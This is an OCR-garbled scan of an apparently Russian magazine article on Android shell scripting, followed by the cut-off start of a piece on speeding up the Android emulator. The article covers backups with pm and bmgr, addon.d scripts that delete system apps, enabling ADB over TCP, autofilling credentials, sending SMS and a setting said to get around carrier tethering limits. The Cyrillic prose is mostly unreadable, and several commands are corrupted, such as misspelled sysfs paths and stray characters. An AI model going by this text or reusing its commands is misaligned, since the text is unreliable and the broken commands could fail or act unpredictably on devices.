nyHLue b Linux v\nv\ peA^KTope, KOTopbiM yMeeT co3A3BaTb TeKCTOBbie c|)aM^bi 6e3 ci/imbo- 

na Rn.^Rnaia ranPTifi/i (mmnhiw nnw rn~Knki~n/ii/i r Android fS\/nPT RkirnanPTh A M r knmip 



HacTb BbiBOfla 

KOMaHflbl 

dumpsys 



Ka>KAOM CTpOKM). 

Ham nepBbiM CKpi/inT 6yAeT cocroflTb Bcero 1/13 AByx ctpok, KOTopbie Ae/iaJOT 6si<an Bcex 
ycTaHOBJiem-ibix npui^oxeHMM Ha KapTy naivmTi/i. 
Ero koa (Tpe6yeT BusyBox): 



#!/system/bin/sh 



mkdir /sdcard/backup 

cp /data/app/* .apk /sdcard/backup 




CoxpaHfleM (nycTb oh Ha3biBaeTCfl apk_backup.sh) h nepe- 
KMAbiBaeM Ha CMapT(f)OH c noMom,bio ADB: 

$ adb push a pk_backup. sh /sdcard / 

Tenepb ero HyxHO 3anyc~rnTb. 11 pome Bcero CAe/iaTb sro 
c noMOLUbio Bee Toro xe ADB: 

$ adb shell sh /sdcard/a pk_backu p.sh 

(IpMMepHO TaKMM xe o6pa30M CKpunT moxho 3anycTMTb 
M3 kohcojim Ha caMOM CMapTC^OHe/n/iaHLiieTe: 



INFO 

no c/iOBaM pa3pa6oTHMKa 
mksh, M3HaHa/ibH0 no/ib- 

30BaTe/lbCKMG BepcuM 

Android-CMapT(J)OHOB 
BOo6iue He aojdkhu 6bmn 

MMeTb B CBOeM codaBe 
uje/iJi, ho noc/ie BbinycKa 

CMapT(J)OHaAJifl pa3pa- 
6othmkob HTC (T-Mobile) 

G1 OH (J)aKTMHGCKl1 CTa/1 
CTaHAapTHOll HaCTbK) 
CMCTeMbl. 



$ sh /sdcard/apk_backup.sh 



Caivio co6om, 3to He oneHb yAo6HO. riosTOMy HaM HyxeH KaKOM-TO 6bicTpbiM cnoco6 3a- 
nycKa CKpi/inra. Han6ojiee yAo6Hoe M3 HaPiAeHHbix mhom peiueHHM — sto npmioxeHi/ie 
QuickTerminal. YcTaHaBriMBaeM, 3anycKaeM, nepexoAUM Ha BK/iaAKy Quick Command, Ha- 
xniviaeM KHonKy «+», B6nBaeM hmh (npon3BonbHoe) m KOMaHAy (sh /sdcard/apk backup. 
sh), b none Output Type Bbi6npaeM nv\6o Dialog Output, nv\6o Nothing. B nepBOM cnynae 
bo BpeMa BbinarmeHi/m CKpwmra Ha 3KpaHe no^Bi/nxa okho c pe3y/ibTaTOM, bo btopom Bee 
npoMAeT b cJ)OHe. Koiviy hto yAo6Hee. Aa/iee coxpaHaeivi m nojiynaeM KHonKy, c noMombfo 
KOTOpoPi CKpMnT moxho 6yAeT 3anycTMTb 6biCTpo h jierKO. 

Tenepb HannuieM ci<pnnT, KOTopbiM BoccTaHOBm Ham 63Kan: 



#! /system/bin/sh 

for i in /sdcard/backup/*; do 

pm install -t -r $i 
done 



B HeM Mbi 3aAePicTBOBa/iM KOMaHAy pm c onu,i/ieki install v\ (JxnaraMi/i -t h -r, KOTopbie 3a- 
CTaB/i^KDT cucTeMy ycTaHaB/iMBaTb npmioxeHMH, Aaxe ec/in ohm noAnwcaHbi TecTOBbiM 
k/iiohom mii/i yxeycTaHOB/ieHbi. TaKxe moxho ncno;ib30BaTb cj^/iar -s, KOTopbifi npuHyxAa- 
eT npwioxeHL/ifl k ycTaHOBKe Ha KapTy nais/mTi/i (ecrin TaKafl B03MOXHOCTb ecTb), v\nv\ -f — 
ycTaHOBKa bo BHyTpeHHioio naMfiTb ycTpoPiCTBa. 

Miviea pyT, moxho Aaxe CAe/iaTb 63Kan HacTpoeK Bcex npnno>KeHi/iPi c noMombio Koni/i- 
poBaHMa 1/1 apxnBau,MM KaTanora /data/data/, OAnaKO BOCCTaHOBHTb ero 6yAeT oneHb npo- 



DJieMaTMHHO, TaK K3K b Android KaxAoe npn/ioxeHwe Hcno/iHaeTCfl ot i/iMeHi/i co3AaHHoro 
cneu.ua/ibHO ajih Hero Linux-K)3epa m xpaHi/rr HacTpoPiKu BHyTpw KaTa/iora, npuHaA/iexa- 
mero OTOMy no.nb30BaTe.nK). llpo6.neMa 3Aecb b tom, hto MAeHTMc(DHKaTop Linux-i03epa 
A/ifl Ka>KAoro npmioxeHun reHepwpyeTCH AHHaMi/inecKM, nosTOiviy nocne BoccTaHOB/ieHWfl 
63Kana b 3aH0B0 ycTaHOB/ieHHOM cucieMe MAe htm cJ)m Kara pbi He 6yo,yT coBnaAaTb m npi/i- 
zioxeHMfl He CMoryT npOHMTarb cbom HacTpoPiKn. ripHAeTca BpyHHyK) BbmcHsrrb ID K)3epa 
A/ifl Kaworo npmioxeHMH v\ MeHflTb npaBa AOCTyna Ha KaTanorn c AaHHbiMM. 

C Apyrofi CTopoHbi, Mbi MoxeM ncno^b30BaTb BCTpoeHHbiM b Android Backup 
Manager, nosBOJiflJomnw ctopohhum npH/ioxeHWHM ncno/ib30BaTb bo3moxhoctm ci/i- 
CTeMbi jxnn 6ai<ana v\ BOCcraHOBJieHMfl npmioxeHnii h i/ix AaHHbix. YnpaB/iHTb mm mox- 
ho M3 kohcojim (a 3HaHMT, i/i c noMoiAbio CKpwnTOB), ho caM no ce6e OH HMKaKOrO 63Ka- 
na He npoi/i3BOAHT, a B03/iaraeT 3Ty pa6oiy Ha CTopoHHwe npmioxeHna. Helium — oaho 
H3 TaKMx npmioxeHMM. Eoni/i ycTaHOBHTb m HacTpomb ero, onepau.nK) 63Kana v\ BOCCTa- 
H0BJ16HMIR moxho 6yAeT 3acKpnnT0BaTb. HanpMMep, cnep,y\om,\Av\ npocTOM CKpunT CAe/ia- 
eT pe3epBHyK) Konnio Bcex ctopohhmx npmioxeHHfi: 



#! /system/ bin/ sh 

# no/i ynaeM cnncoK Bce x cto pohhmx npn/io>KeHMM 
for i in 'pm list packages -e'j do 

# Ao6aB/ifleM Ka>KAoe H3 hux b onepeflb 
bmgr backup ${i:8} 
done 

# 3anycKaeM onepau.HK) 69Kana 
bmgr run 



KoHCTpyKUHH ${i:8} 3ACCb HyxHa, HTo6bi o6pe3aTb cjiobo «packages:», KOTOpoe pm ao- 
6aB/iqeT b Hana.no wvieHH KaxAoro naKeia. HTo6bi BOCCTaHOBMTb 63Kan, moxho Mcno/ib- 
30BaTb jw6o tot xe Helium, jih6o KOMaHAy bmgr: 



# no/iynaeM cnncoK 63KanoB 
$ bmgr list sets 

# BoccTaHaB/iMBaeM HywHbiPi 6ai<an 
$ bmgr restore <Ter> 



root@mb526:/ tt pm 

usage: pm list packages L-f] C-d3 C-e] E-s] [-3] [-i] [-u] [--user USER.ID] [FILTER] 
pm list permission-groups 

pm list permissions C-g] [-f] [-d] [-u] [GROUP] 

pm list instrumentation E-f] CTflRGET-PflCKflGE] 

pm list features 

pm list libraries 

pm list users 

pm path PACKAGE 

pm dump PACKAGE 

pm install [-1] t-r] [-t] [-i INSTALLER_PACKAGE_NHME] [-s] [-f] 

[ — algo <algorithm name> — key <key-in-hex> — iv <IV-in-hex>] 
[— originating-uri <URI>] C— referrer <URI>] PATH 

pm uninstall [-k] PACKAGE 

pm clear [--user USER.ID] PACKAGE 

pm enable [—user USER_ID] PACKAGE_OR_COMPONENT 

pm disable [—user USER_ID] PACKAGE_OR_COMPONENT 

pm disable-user [--user USER.ID] PflCKAGE_OR_CDMPONENT 

pm disable-until-used [—user USER. ID] PACKAGE_OR_COMPONENT 



pm block C— user USER.ID] PRCKRGE_0R_C0MP0NENT 
pm unblock [—user USER_ID] PRCKRGE_0R_C0MP0NENT 
pm grant PRCKRGE PERMISSION 
pm revoke PRCKRGE PERMISSION 

pm set-instal 1-location [0/auto] Ll/internal] [2/external] 
pm get-instal 1-locat ion 

lloHTM Bee KOMaHAbi Android hmgkdt noflpo6Hyio cnpaBKy 
ABT03AfiyCK 

«3to Bee Kpyro, ho CKpwnTbi AO/i>KHbi 3anycKaTbCfl caMM», — CKaxewb Tbi m 6yAeujb a6- 
co/ikdtho npaB. 5e3 aBT03anyci<a ot CKpunTOB TO/iKy Ma.no, ho sto nen<o wcnpaBHTb, ecnn 
BOcnojib30BaTbCfl Bee tgm xe Tasker. Oh yivieeT 3anycKaTb jiio6bie ujejui-KOMaHAbi b ot- 

BeT Ha JlK)6oe C06blTl/ie. HT06bl BOCnO/lb30BaTbCfl 3T0M CjDyHKU.HOHa.TlbHOCTbK), AOCTaTOHHO 

C03AaTb HOBbiM npoctw/ib, Bbi6paTb co6biTne (ajih 63Kana jiyHLui/iM co6biTneivi 6yAeT Bpe- 
w\n), 3aTeM Ao6aBrmeM Ae^CTBue, Bbi6npaeivi Script — > Run Shell, B6nBaeivi KOMaHAy (sh / 
sdcard/script.sh), Bbi6npaeM, ecni/i Heo6xoAHMO, (J)aM/i Ana 3anncn pe3y/ibTaTa m bkjikd- 
naeivi npocfji/uib. 

flpyrofi nonyjiapHbiPi cnoco6 aBT03anycKa — sto Mcno/ib30BaHne cpgactb aBTOMa- 
TMHecKoro McnojiHeHna CKpi/inTOB npw 3arpy3Ke b ctopohhhx npowuBKax. CeroAHfl non- 
tm Bee CKO^bKO-Hn6yAb M3BecTHbie KacroMHbie npoujMBKM yivieiOT CTapTOBaTb CKpunTbi 
M3 KaTajiora /system/etc/init.d/, a b ctokg TaKyio c|)yHKLi,MOHa/ibHOCTb moxho no/iynnTb 
c noMoiAbio npunoxeHMfl Universal init.d M3 MapKeTa. C nocneAHMM, OAnaKO, HaAO 6biTb 
ocTopo>KHbiM, TaK KaK oho 3anycKaeT CKpnnTbi He Ha paHHeM 3Tane 3arpy3KM, KaK sto npo- 
mcxoaht b tom xe CyanogenMod, a yxe nocne no/iHOM 3arpy3KM CMCTeMbi. 

MTaK, hto Mbi MoxeM noiviecTMTb b aBT03arpy3Ky? Hanpniviep, CKpnnT3anycKaAeMOHa 
ADB b ceieBOM pexi/iMe: 

#! /system/bin/sh 

setprop service. adb.tcp. port 5555 
stop adbd 
start adbd 

Rnn noAK/ifOHeHi/iq k Heiviy c I~1K Ha6npaeivi TaKyto KOMaHAy: 
$ a d b connect IP- cMa prfyo h a 

TaKxe Mbi Moxeivi npwvieHmb HeKOTopbie onTMMM3au,MM noACMCTeivibi BHpTya/ibHofi naM^Tn: 
#! /system/bin/sh 

echo "4096" > /proc/sys/vm/min_f ree_kbytes 

echo "0" > /proc/sys/vm/oom_kill_allocating_task; 

echo "0" > /proc/sys/vm/panic_on_oomj 

echo "0" > /proc/sys/vm/laptop_mode; 

echo "0" > /proc/sys/vm/swappiness 

echo "50" > /proc/sys/vm/vf s_cache_pressure 

echo "90" > /proc/sys/vm/dirty_ratio 

echo "70" >L^/proc/sys/vm/dirty_background_ratio 



Hy i/1/in noAomaTb MGxaHMSM lowmemorykiller (aBTOMaTunecKoe y6mmctbo c|)OHOBbix npn- 
jio>KeHMM npi/i HGXB3TKG n a math) noA HaniM Hyxflbi: 

#! /system/bin/sh 

echo "2048, 3072, 6144, 15360, 17920, 20480" > 

/ sys/module/ lowmemory killer /pa rameters/minfree 

Hy h aBTOMaTMHecKMM Bbi6op ruiaHnpoBLLi,MKa npoueccoB: 

#! /system/bin/sh 

echo "powensave" > /sys/devices/system/cpu/cpu0/cpuf neq/scaling_govennon 

Bee 3to mo>kho CAe/iaTb c noMOuibio cneu,na/iM3npoBaHHoro cocjDTa, ho 3aneM 3arpyxaTb 
cucTeiviy Aono/iHMTe/ibHbiM no, KOTopoe eme m 6yAeT BuceTb b c|)OHe, KorAa mokho o6om- 

TMCb HeCKO/lbKMMM npOCTbIMM CKpunTaMM? 

SAnyCK CKPMFITOB AO M flOCJlE YCTAHOBKM flPOLUMBKM 

floHTM KaxAbiM, kto ycTaHaB/ii/iBaeT Ha cbom raA>KeT ctopohhkdkd npowuBKy, TaKxe CTa- 
bmt noBepx Hee naKeT c 4)npMeHHbiMn npwioxeHHHMH Google (gapps), KOTOpbiM bk/ikd- 
naeT b ce6a MapKeT, YouTube, Gmail m ApyroM cocjrr. KaxAbiM pa3, KorAa nponcxoAUT 06- 
hob/ighhg npoLUMBKM, pa3Aeji /system, coAepxauiufi ee i/i gapps, no/iHOCTbK) CTupaeTca, 
ho npmiOKeHMH Google BcerAa ocTaiOTCfi Ha MecTe. 3to npowcxoAUT noTOMy, hto, Kpo- 
Me Bcero nponero, gapps coAepxm b CBoeM cocTaBe cneu,nanbHbiM CKpnriT, kotophm 
pa3Meiu,aeTC^ b KaTanore /system/ad don.d/ m 3anycKae~rcfl KOHCoribK) BoccTaHOB/ieHM^i 
AO m noc/ie ycTaHOBKM npoiuuBKM. 3tot CKpum fxenaei 63Kan m BOCCTaHOB/ieHMe npmio- 
xeHMM Google. 

Mbl MOXGM MCnOJlb30BaTb 3Ty B03MOXHOCTb /yifl BbinO/lHeHMfl HaUJUX C06CTBeHHblX 

AeMCTBMii ao m nocne ycTaHOBKM npomuBKM. Bot TaK, Hanpniviep, BbirrmAUT mom CKpunT 
BOCCTaHOB/ieHi/m, KOTopbiM HMnero He 63KannT, ho noAHwmaeT nponiMBKy ot Mycopa cpa- 
3y nocne ee ycTaHOBKM: 

#!/sbin/sh 

#_3arpy>KaeM noflco6Hbie (j)yHKU,wki 
, /tmp/backuptool .functions 

# PHHTTOH H 3ByK yBeflOM/ieHMfl , KOTOpbie A0/1>KHbl OCTaTbCfl B CMCTeMe 

RINGTONE=Machina 
NOTIFICATION=Argon 
case "$1" in 
backup) 

# nyc TQ : ) 

• • 

restore) 

# PMH TTOHbl, yBeflOM/ieHHfl M 3ByK 6yAH/lbHHKa 

cd / system/media/audio/ ringtones/ 

rm [ !${RINGTONE}]*.ogg 

cd /system/media/audio/notifications/ 



rm [ !${NOTIFICATION}]*.ogg 

rm /system/media/audio/alarms/* 

# fl3biKM cnHTe3a h ofynatiH - pac no3HaBaH mh 
rm /system/tts/lang_pico/* 



penn 



rm -rf /system/usr/srec/config/* 

^_Dpn/io>KeHHfl 



A=/system/app/ 
rm $A/Email.apk 
rm $A/Exchange2. apk 
rm $A/LockClock. apk 
rm $A/PicoTts.apk 



rm $A/Term.apk 

rm $A/ThemeChooser . apk 

rm $APPS/WAPPushl v lanager.apk 

rm $A/LiveWallpapers . apk 

rm $A/LiveWallpapersPicker.apk 



rm $A/VisualizationWallpapers .apk 
A=/system/priv-app/ 
rm $A/CMUpdater.apk 
rm $A/ThemeManager .apk 



pre-backup) 

ft. • • • 



3 J 



post-backup) 
ft • # • 



y j 



pre-restore) 

ft • • . 



post-restore) 

ft m m m 
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sh /sdcard/script.sh 
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esac 



KaK3anycTMTb CKpi/inT 
c noMOinbioTasker 



CKpunT yflanaeT pi/mrroHbi, yBeAOM/ieHi/m, abmxok cnHTe3a penn v\ HecKO/ibKO npmio- 
>kghmm. Bee 3tm AGMCTBHfl 3anycKaiOTCfl b OTBeT Ha nepeAany cKpwrry onu.nn KOMaHA- 
hom ctpokm restore (sto Ae/iaeT KOHCO/ib BOCCTaHOB/ieHi/m nocne ycTaHOBKH npoiunBKn), 
OAHaKO TaKxe npeAycMOTpeHbi m Bapi/iaHTbi o6pa6o~rKi/i t3khx onu,MM, KaK backup, pre- 
backup, post- backup, pre-restore m post- restore. 3Aecb sto npocTO 3amyLiJKn, ho eoni/i 
6bi Mbi 3axoTe^n CAe/iaTb 63Kan HeKOTopwx ct>aMJiOB v\ npH/ioxeHHM nepeA ycTaHOB- 

KOtf npOLUMBKM, Mbl MOT/IM 6bl A06aBMTb MX B 6/lOK backup, KaK 3T0 CAGJiaHO b CKpwriTe / 

sy ste m/ad d o n . d/70 - g a p ps . s h : 



j^/tmp/backuptool .functions 
list_files() { 



cat <<bUh 

app/GoogleContactsSyncAdapter . apk 
etc/ permiss ions/com . google . android . maps . xml 
etc/permissions/com . google . android . media .«-• 
effects .xml 



EOF 

} 

case in 

backup) 

list_files | while read FILE DUMMY; do 
backup_file $S/$FILE 

done 

• • 

• • • 



3tot KycoK CKpwnTa npeKpacHO mi/iK)CTpnpyeT, kbk CAenaTb 6aKan fyawnoB. KjifoneBbie 
3/ieivieHTbi 3Aecb: cJ)yHKu,na list files, KOTopaa npi/i 3anycKe BbiBOAUT ^mctmht c^awiOB, 
h ct)yHKu,na backup_file, KOTOpaa HB/iHeTCfl nacTbio kohco/im BOCCTaHOB/iei-Mfl (onpefle/ie- 
Ha b 4>afi.ne /tmp/backuptool.functions). OHa Ae/iaeT 6aKan c^aw/iOB b u,i/iKjie. 
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-ruxr-xr-x root 


root 
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-ruxr-xr-x root 


root 
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18:00 70-bootmenu 


sh 


-ruxr-xr-x root 


root 
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18:00 70-gapps.sh 




-ruxr-xr-x root 


root 
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18:00 80-battd.sh 




-ruxr-xr-x root 


root 


132 2008- 


-08- 


-01 


18:00 blacklist 




shell@mb526:/ $ 















CoflepwuMoe 

/system/ 

addon.d/ 

b CyanogenMod 

11 Ha Motorola 

Defy 



4TO ElUE? 

C noMOinbio CKpunTOB b Android mokho CAonaTb HaMHoro Go/ibme, neivi 6ai<anbi i/i Ha- 
dpoMKa napaMeipoB cwcTGMbi. Bot, Hanprnviep, CKpwriT, KOTOpbifi npocbinaeTcn Kaxflbie 
Aec^Tb muhvt m, eani/1 ypoBeHb 3ap«Aa 6aTapen CTa/i MeHbLue 30%, OTK/ifonaeT Wi-Fi 
m Bluetooth: 



#! /system/bin/sh 
while true; do 

if [ cat /sys/class/power_supply/battery/«-' 

capacity -It 30 ]; then 
svc wifi d i s a b 1 e 

service call bluetooth_manager 8^ 

fi 

sleep 600 
done 



HTo6bi CKpnriT pa6oTa/i b (Jx)He, AOCTaTOHHO Bbi3BaTb ero cneAyK)Lii,MM o6pa30M: 
$ script. sh & 



tt ! /sbin/sh 
tt 

tt /system/addon . d/70-gapps , sh 
tt 

. /tmp/backuptool .functions 

list.filesO { 
cat <<E0F 

app/Goog leContactsSyncfldapter . apk 

etc/permiss ions/com . google , andro id . maps . xml 

etc /permissions/com. google .android .media . effects ,xml 

etc/permiss ions/com . google . uidev ine . sof tuare . drm . xml 

etc/permissions/features .xml 

etc/preferred-apps/google , xml 

frameuork/com. google .android .maps .jar 

f rameuork/com . goog le . android . med ia . effects . jar 

frameuork/com . goog le , uidev ine . sof tuare . drm . jar 

1 ib/1 ibflppDataSearch ,so 

1 ib/1 ibgames_rtmp_jni .so 

1 ib/1 ibjni_ latin i me .so 

pr iv-app/GmsCore . apk 

pr iv-app/GoogleBackupTransport . apk 

priv-app/GoogleFeedback .apk 

priv-app/GoogleLoginService .apk 

- /system/addon. d/70-gapps.sh [Readonly] 14/67 20% 



A 3to CKpnriT, KOTopbiM no3BormeT 6biCTpo 3ano/ii-mTb dpopMbi, Tpe6yK)LLi,Me bboas MMSMJia 
m napo/ia (b npH/ioxeHMflx m Ha Be6-cam~ax): 

#! /system/bin/sh 

adb shell input text "user@gmail.com" 

adb shell input keyevent 23 

adb shell input keyevent 20 

adb shell input text "MAPO/lb" 

adb shell input keyevent_23 

adb shell input keyevent 20 

3anycKaTb ero moxho pa3HbiMM cnoco6aivin. J1m6o nepefl 3anycK0M npmioxeHMfl, ycTa- 
hobmb 3aA©P>KKy: 

$ slee p 15; sh /s dcard / script.sh 

J1m6o noBecMTb Ha KaKoe-TO co6bn~ne Tasker, Hanprnviep Ha B3Max CMapTdpoHOM. flpyrow 
Bapi/iaHT — ncno/ib30BaTb 6yd>ep o6ivieHa. B Android, HTo6bi BCTaBMTb HyxHbifi TeKCT b 6y- 
dpep o6ivieHa, AOCTaTOHHO BbinoriHMTb TaKyio KOMaHfly: 

$ service call clipboard 2 i32 1 i32 1 sl6 4-« 
"9tot TeKCT noflBMTCfl b 6y4>epe o6MeHa" 

He axTM KaK yAo6HO, 3aT0 pa6oTaeT. KaK Mbi MoxeM ncno/ib30BaTb TaKyio dpyHKUMOHa/ib- 
HOCTb? Hanprnviep, Cfxenaib npocTeHbKMM CKpwriT clip.sh: 



CKpnni 63Kana 

npn/io>KeHMPi 

Google 



#! /system/bin/sh 

service call clipboard 2 i32 1 i32 1 sl6 "$1" 



Co/ib b tom, hto CKpwriT moxho Bbi3biBaTb Hepe3 yAaneHHbii/i ADB nn6o Boo6m,e noiviecTMTb 
b /system/etc/in it. d/, 3aMGHMB $1 Ha HyxHbiw tgkct. TaK HyxHbie HaM A^HHbie BcerA,a 6y- 
AyT noA pyKOM, a 6ecnone3HbiM Ha CMapTc|)OHe MexaHM3M KonnpoBaHHH/BCTaBKi/i nonynHT 
xoTb KaKoe-TO Ha3HaneHMe. KoHco/ibHbie KOMaHAbi moxho ncno/ib30BaTb m A-na 6anee Bbi- 
coKoypoBHeBbix onepau,nM, HanpHMep no3BOHHTb no yKa3aHHOMy HOMepy: 

$ am start -a android. intent. action. CALL tel:123 



Mjih OTKpbiTb okho HOMepoHa6npaTerm c hvxhhm HOMepoM: 
$ am start -a android. intent. action. DIAL tel:123 
ripuMepHO TaKMM xe o6pa30M moxho OTnpaBHTb SMS: 




INFO 



BepcwM Android 2.3 

#!/system/bin/sh MHHxeBMecTomksh 
am start -a android . intent . action . SENDTO -d <-> 



Mcnojib30Bajw muhm- 

ManilCTMHHblM wejui 



sms:$l --es sms_body "$2" --ez exit_on_sent true ash, KOTopbM bxoamt 

sleep 1 B6a30BbiM KOMn/ieKT 

input keyevent 22 BcexBSD-CHdeM. 

sleep JL_ 



input keyevent 66 



CKpMnT npMHMMaeT ABa apryivieHTa: HOMep jene(\)OHa v\ coAepxuMoe SMS. nocne 3any- 
CKa oh otkpogt okho SMS-npwioxeHMfl, BCTaBMT b Hero HyxHbiM TeKCT, a 3aTeM HaxivieT 
KHonKy Enter A-n^ OTnpaBKM, nocne nero okho 3aKpoeTca. 

Apyrwe no/ie3Hbie npn CKpwnTHHre KOMaHAbi: 

riepe3arpy3Ka b pexnM recovery: 

$ su -c reboot recovery 



Manon nepe3arpy3Ka (6e3 nepe3anycKa HApa): 
$ setprop ctl.stop zygote 



• OTKpbiTb HyxHoe npmio>KeHi/ie (b a^hhom npniviepe — «HacTpoPiKM»): 

$ am start -n com. android. settings/com. android. settings. Settings 

• OTKpbiTb Be6-CTpaHnu,y: 

$ am start -a android. intent. action. VIEW http://www.google.com 



Coo6mnTb npnnoKeHHHM o hm3kom ypoBHe 3apHAa 6aTapen (ecTb co4)t, kotophm 

npi/1 3T0M CHMXaeT CBOK) aKTHBHOCTb): 
$ am broadcast -a android. intent. action. BATTERY LOW 



M3MeHMTb MAC-aApec: 



$ ip link set ethO address 00:11:22:33:44:55 
AKTMBMpoBaTb Bw6paTop: 

$ echo 100 > /sys/devices/virtual/timed_output/< 
vibrator/enable 



BKJlfOHHTb CfJOHapMK: 

$ echo 1 > /sys/devices/platform/flashlight/leds/< 
flashlight/ brightness 



INFO 

Hto6u no^yHHTb 
OAHUMTe )KecKpnnTbi 
HaBcex ydpoMCTBax, 

MO)KHO HCnOJlb30BaTb 

npHJioxeHwe DropSync 
win FolderSync 
(aBTOMaTMHecKaa 

CMHXpOHM3aUMflHepe3 

Dropbox). 



flponrpaTb (\>av\n (mo>kgt He cpa6oTaTb): 



$ stagefright -a -o file.mp3 



• OTKJiKDHMTb yKa3aHHoe npM/ioxeHne (moxho opraHM30Ba~rb umkji fl/iq OTK/ifoneHUfl 
bloatware no cnncKy): 



$ pm disable com. google. android. calendar 



rio/iyHi/iTb cnncoK npn/ioxeHMM, KOTopbie niviejOT yBeAOMJieHUfl b CTpoKe coctohhi/ih: 



$ dumpsys statusbar ] grep StatusBarNotification «-< 
| awk '{ print $2 }' | cut -d '=' -f2 



• OnTMMM3MpOBaTb BHVTpeHHMe 6a3bl AaHHblX C HaCTpOMKaMM (MOXHO A06aBMTb CKpwnT 

b aBT03arpy3Ky, Tpe6ye~rcfl BusyBox): 



#! /system/bin/sh 

for i in 'find /data -iname "*.db"'; do 

sqlite3 $i 'VACUUM; ' 

done 

• riepeK/iiOHMTb Wi-Fi-TM3epnHr Ha ochobhom MHTepcJ)eMC (hv>kho A-na o6MaHa onepaTO- 
poB, KOTopbieorpaHMHMBaKDTCKopocTbcoeAHHeHna npn pa3Aane MHTepHeTa no Wi-Fi): 



$ settings put global tether_dun_required 0 



/dev/input/eventl 
/dev/input/eventl 
/dev/input/eventl 
/dev/input/eventl 
/dev/input/eventl 



0003 
9003 
9000 
9003 
9003 



0001 
0002 
0000 
0000 
0001 



0000016c 

fffffcie 

00000060 
00000101 
00000158 



fljifi «0TJi0Ba» HawaTMM khoiiok mo>kho 
ucno/ib30BaTb KOMaHAy getevent 



/dev/input/eventl 
/dev/input/eventl 
/dev/input/eventl 
/dev/input/eventl 
/dev/input/eventl 
/dev/input/eventl 
/dev/input/eventl 
/dev/input/eventl 
/dev/input/eventl 
/dev/input/eventl 
/dev/input/eventl 
/dev/input/eventl 
/dev/input/eventl 
/dev/input/eventl 
/dev/input/eventl 
/dev/input/eventl 
/dev/ input /event? 
/dev/input/event7 
/dev/ input /event? 



9000 0000 00000000 

9003 0000 00000164 
0003 0001 000000C0 
9003 0002 fffffca0 
9000 0000 00000000 
9003 0001 000000d2 

9003 0002 fffffcSa 
9009 0000 0000000Q 

9003 0001 000000ed 
9003 0002 fffffc94 
9000 0000 00000000 
9003 0002 fffffc98 
9009 0000 00000000 
9003 0001 00000104 
9003 0002 fffffd04 

9003 0000 00000000 

9004 0003 0000000a 
9011 0008 0800000a 
9000 0000 00000000 



BMECTO BblBOAOB 

fl-rm Koro-TO Bee onucaHHoe b cTa- 
Tbe MoxeT noKa3aTbc^ HecKo/ib- 

KO HaAVMaHHblM. fleCKaTb, BCe 3T0 
MOXHO CAe/iaTb C nOMOLUbK) CTaH- 

AapTHoro cocfrra n Tasker. Ho 3aneM 
ncno/ib30BaTb T^xe/ibiPi Java-coc})T 
TaM, rAe HyxHoe Ae^CTBue mo>kho 

BbinO/IHMTb C nOMOLMbK) npocrreHb- 

Koro CKpi/inra, KOTopbiM He 3aHMMaeT 
/lMLLiHew naMfiTM h MOxeT 6biTb /ien<o 
nepeHeceH Ha Apyroe vctpomctbo? 
CKpunTbi yAo6Hbi, npocTbi, 6biCTpo 

OTpa6aTblBaK)T V\ AafOT B03MO>KHOCTb 

tohkom HadpoMKM noA ce6a. ~3L 



X- Mobile 

PEKOPAbl CKOPOCTM 

£E/1AEM 3My/l?lT0P ANDROID BblCTPEE 



LA 
- \ , ■ i 



KpOMe cpeAbi pa3pa6oTKi/i, i/iHCTpyivieHTOB c6opKi/i v\ ot- 
naAKM, Android SDK BK/ifonaeT b ce6^ ocHOBaHHbii/i 
Ha QEMU OMyrmTop CMapT(})OHa c npeflycTaHOB/ieHHbiM 
Android. Oh yAoSeH, npocT b o6pam,eHMi/i, no/iHOCTbrO 

MHTerpHpOBaH CO CpeflOM pa3pa60TKM, HO HGBblHOCMMO 

Mefl/iMTeneH. B otom CTaTbe r paccKaxy, KaK oto nonpa- 

Bl/ITb 1/1 fl06l/ITbC£ CKOpOCTM pa6o~rbi OMy/i^Topa, paBHOI/1 
HaTMBHOl/1 CMCTGMG. 




EBreHMM 3o6hhh 

androidstreet.net 



npo6/ieMa Android-SMyrurropa M3 cocTaBa SDK — b npoueccopHofi apxnTeKType. 
B ot/imhmg ot oraHAapTHoro QEMU h cwviy.rmTOpa iOS SDK BnpTya/ibHaa MaaiMHa 
M3 cocTaBa Android SDK 3MyjinpyeT npoueccopHyio apxHTeicrypy ARM (c ee 6jiokom 
MMU m ApyrMMM oco6eHHOCT«MM), hto He no3BonfleT eM 3aAeMCTBOBaTb b pa6oTe TexHO/io- 
rnn BnpTyanM3au,MM, AOCTynHbie b coBpeivieHHbix npoueccopax. 3to Bbmi/iBaeTCfl b cepbe3- 
Hbie orpaHnneHnq ckopocth pa6oTbi. 

McnpaBMTb TaKoe no/ioxeHwe BemePi moxho TpeMA cnoco6aMi/i: 1) onTHMM3npoBaTb 
3Myjim~op, bk/ikdhmb SKcnepHMeHTa/ibHbie onuHM, TaKne KaK npo6poc BMflGOKapTbi (Apaw- 
Bepa OpenGL) BHyTpb BnpTyanbHoro OKpyxeHHa; 2) B0cnonb30BaTbCH x86-Bepcnefi siviy- 
.nm~opa n c6opkom Android, noAroTOB/ieHHOM coTpyAHMKaMM KOMnaHMM Intel; 3) CKanaTb 
h ycTaHOBMTb CTopoHHMPi 3My.rmTop, T3K0M, HanpHMep, KaK Genymotion. 

B 3TOM CTaTbe Mbl paCC M OTP MM BCe TpM, aTbl CMOXeLUb Bbl6paTbTOT, hto n0AX0AHTTe6e. 



TIOHMHT 3MyjlflTOPA 



CaMbiM oneBMAHbiM cnoco6 ycKopwTb 3My/im"0p Android — nonbiTaTbca ero onTHMM3npo- 
BaTb. EcTb HecKO/ibKO MeTOAOB CAe/iaTb sto. riepBO-HanepBO cneAye-T BK/nom/iTb onu.nK) 
npo6poca OpenGL-ApaMBepa BHyTpb 3My.rmTopa, nepe^A^ b «Tools -> Android — > AVD 
Manager» b SDK v\nv\ Android Studio n nocTaBMTb ra/iOHKy HanpOTMB onu.nn Use Host GPU 
b HacTpoMKax HyxHoro AGBawca. 

06uj,yK) npoi/i3BOAHTe/ibHOCTb onuna He ynyHLUHT, 3aT0 MHTep4)ePic CTaHeT n/iaBHbiM; 
rpaqbMHecKMe 3D-npi/moxeHHfl 6yAyT pa6oTaTb 3HaHMTe/ibH0 /iyHi±ie. Ecjih xe Tpe6yeTca 

He CTOJlbKO CKOpOCTb OTpHCOBKM MHTepcjDePlCa M pa60Tbl SMy/lflTOpa, CKO/lbKO CKOpOCTb 

ero 3anycKa, to BMecTO onu,MM Use Host GPU oneAyeT nocTaBMTb ranoHKy HanpoTMB 
Snapshot (mx Henb3H ncnojib30BaTb BMecTe). 

